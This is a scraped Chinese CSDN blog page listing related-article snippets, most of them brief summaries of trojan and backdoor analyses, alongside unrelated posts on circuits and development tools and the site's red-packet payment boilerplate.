elastic6hunter的博客 100

分析一款实验室的木马

最近在实验室遇到一款木马,无花无壳,很简单,可以试试,很有意思。 实验环境:windows xp 实验工具:process,IDA,OLLDBUG MD5:

xiaoyuai1234的博客 507

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

一款魔兽盗号木马分析

这款魔兽盗号木马是模仿“多玩魔兽盒子”欺骗用户从而进行盗号的,请看“多玩魔兽盒子”官方网站:http://wow.duowan.com/wowbox1/, 木马模仿的钓鱼网站:http://www.tudouw.com/ 。可以看出做得很相似,稍不留意的话就会被钓鱼。大家该问了,这样的网站怎么会访问到的啊, 如果魔兽玩家通过百度搜索“多玩魔兽盒子”,第一页便会有这个钓鱼网站。可以看出万恶的百度...

weixin_34220834的博客 296

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

一款白加黑银狐窃密木马变种分析

最近从网上获取到了一些利用白加黑技术规避检测的银狐窃密木马,伪装成格式转换软件DivX Converter进行传播,木马使用正常的DivX Converter可执行文件启动,但加载了一个恶意的dll文件和一个dat文件,达成伪装执行的目的。

2401_84466224的博客 1975

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

发现并分析一款PHP木马后门程序

该PHP木马无需密码验证,具备文件管理、命令执行、数据库操作、端口扫描、提权等多种恶意功能,可被用于服务器远程控制和数据窃取,存在极高安全风险。

weixin_42515392的博客 876

发现并分析一款功能强大的PHP木马程序

本文深入剖析了一款无需密码验证的PHP木马,揭示了其文件管理、命令执行、数据库操作及提权等恶意功能,强调了系统安全防护的重要性。

weixin_29781865的博客 1056

跟踪分析一款新型Megahorse窃密木马

跟踪分析一款新型Megahorse窃密木马

pandazhengzheng的博客 1317

arm ida 伪代码 安卓 符号表_一款木马释放器的简单分析及IDA的骚操作

本文为看雪论精华文章看雪论坛作者ID:SSH山水画前言这是一款比较简单的木马,通过分析此样本可以训练分析思路、分析逻辑,并且加强IDA的使用。如有不对的地方,欢迎指出,择优吸收。样本信息File: virus.exeSHA1: 71b7322291b5a89d227b5cfe82106fce51036da2SHA256:b48ebc54b9717bbe3a9de3fd5744c8ad1f...

weixin_42697475的博客 1192

[分享]一款老木马的分析

[原创]一款老木马的分析 前几天遇到一个人,他说中毒了,本来想要样本,结果他说没有,只有感染的文件,就发了一个给我,我就用这个被感染的文件来分析一下,样本感染程序之后都做了哪些工作~~~附件中的spy是一个被感染的程序,当我们运行spy的时候,其实已经在背后做了很多事,下面我们就来看看它在背后做了些什么工作吧~~~原创链接:https://bbs.pediy.com/thread-128470.h

crashMaker的博客 - 匠心,一种坚持的倔强 487

对一款病毒(木马)程序的分析

<!--google_ad_client = "pub-1592932103935230";/* 336x280,csdnblogs, 创建于 08-5-10 */google_ad_slot = "8315096772";google_ad_width = 336;google_ad_height = 280;//--> <script type="text/java

红颜无暇电脑网,最新的专业 IT 资讯-http://it.hywxfashion.cn 584

一款远控木马分析,仅供学习思路用途

最近一段时间在面试病毒相关岗位,有的公司会电话、远程面试询问相关知识,有的则会直接发送病毒样本要求分析,写出分析报告。下面要分析的就是面试过程中的某个样本,整理成文,发表出来,供大家参考学习,一起进步!如有不当之处,也希望大佬批评指正,晚辈一定虚心受教。 由于考虑到时间问题,不能让面试官等太久,所以我只将病毒关键功能模块进行分析说明,没有之前文章那么详细,也请大家见谅,不懂之处欢迎提出,我也尽量...

moran0322的博客 6万+

arm ida 伪代码 安卓 符号表_一款木马释放器的简单分析及IDA的操作

前言这是一款比较简单的木马,通过分析此样本可以训练分析思路、分析逻辑,并且加强IDA的使用。如有不对的地方,欢迎指出,择优吸收。样本信息File: virus.exeSHA1: 71b7322291b5a89d227b5cfe82106fce51036da2SHA256:b48ebc54b9717bbe3a9de3fd5744c8ad1fdd3a26c7b47f6170b98f8abde...

weixin_39523887的博客 552
上一篇: 病毒分析技巧
下一篇: 一个包含详细注释的扫描器C源代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值